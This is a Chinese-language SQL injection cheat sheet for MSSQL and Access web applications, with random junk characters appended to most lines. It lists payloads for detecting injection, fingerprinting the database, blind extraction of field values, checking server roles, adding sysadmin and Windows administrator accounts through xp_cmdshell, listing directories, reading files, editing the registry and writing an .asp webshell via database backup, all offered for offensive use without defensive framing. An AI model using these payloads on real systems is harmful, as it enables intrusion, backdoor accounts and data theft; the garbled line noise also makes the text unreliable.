1.判断是否有注入;and 1=1 ;and 1=2 TBrAYEk
2.初步判断是否是mssql ;and user>0 `H+ 7Hj
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3.注入参数是字符'and [查询条件] and ''=' A$Es(<'9g
(RWZ[-;)
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $axaI$bE
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5.判断数据库系统 !ny;YV
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;and (select count(*) from sysobjects)>0 mssql >^D"% Oj y
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;and (select count(*) from msysobjects)>0 access <)?H98S
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 nHNMoA
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 SO]x^+[
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 dm)V \?b
C.%iQx`
9.(1)猜字段的ascii值(access) kOFEH!9&
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 L4
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(2)猜字段的ascii值(mssql) }I#;~|v~<
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9]1-J5iO
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10.测试权限结构(mssql) vyN=X]p
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:*1|ERGoay
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- b0m1O.&I_
^p|@{4f]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- tG^Oj:
1p+2*c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pFGdm3pV
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }P-9\*hlm
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2EQ:mjxk
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- rZ w&[ G
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;and 1=(select IS_MEMBER('db_owner'));-- Ocx=)WKdW
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11.添加mssql和系统的帐户 XZZ Ml
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;exec master.dbo.sp_addlogin username;-- /_o1b_1U
;exec master.dbo.sp_password null,username,password;-- L7q%u.nB1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- g2 :^Z==
d[-w&[iy
;exec master.dbo.xp_cmdshell 'net user username password kpxd+w
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- QOy+T6en
S[X bb=n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- W O|2x0K
@"'1"$
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- kTc'k
/G G QO$'
_d %H;<_
:HMnU37m W
12.(1)遍历目录 kX+y2v(2++
`)1_^# k
;create table dirs(paths varchar(100), id int) (!W:-|[K\
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ASR"<]
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;and (select top 1 paths from dirs)>0 PZeVjL?E
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |a3)U%rUEQ
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r,L#JR w#-
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(2)遍历目录 )/Ee#)z*
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- PG&@.KY
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 eaYQyMv@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J+Q
;'J
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .v/s9'lB
tm#T8iF
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 `GqS.O}C
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13.mssql中的存储过程 ;ZFn~!V
`:}GE@]
xp_regenumvalues 注册表根键, 子键 Ex&f}/F
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 w2@ `0
UStZ3A'
xp_regread 根键,子键,键值名 CJ
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;exec xp_regread eH(8T
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 O)Nj'Hcu
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xp_regwrite 根键,子键, 值名, 值类型, 值 4%KNHeaN
|9?67-
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 y4C_G?
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 j_o6+Rk
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xp_regdeletevalue 根键,子键,值名 &g\D-At
kbI:}b7H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,}=x8Xxr
1YTnOiYS1
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 q\x*@KQgM
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CD +,&id
-9UQs.Nv
14.mssql的backup创建webshell sc@v\J;k
:\4?{,@_h
use model 5dXC
k =ru)
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create table cmd(str image); ']Nw{}eS`
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insert into cmd(str) values (''); S_y!4;]ox
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backup database model to disk='c:\l.asp'; _W@q %L>
'%. lY9D
;4z6="<Y
Zh)Qq?H
15.mssql内置函数 R.Ao%VT
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;and (select @@version)>0 获得Windows的版本号 -|~6Zf"
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa xx)egy_
Eyxw.,rB/
;and (select user_name())>0 爆当前系统的连接用户 +Tf ,2?O
5)wz `OS
;and (select db_name())>0 得到当前连接的数据库 SaH0YxnY+
9*h?g+\
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16.简洁的webshell + t({:>E
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use model L%# #U'e3
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create table cmd(str image); C_rlbl;T
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insert into cmd(str) values (''); wN-3@
h\Ck""&
backup database model to disk='g:\wwwtest\l.asp';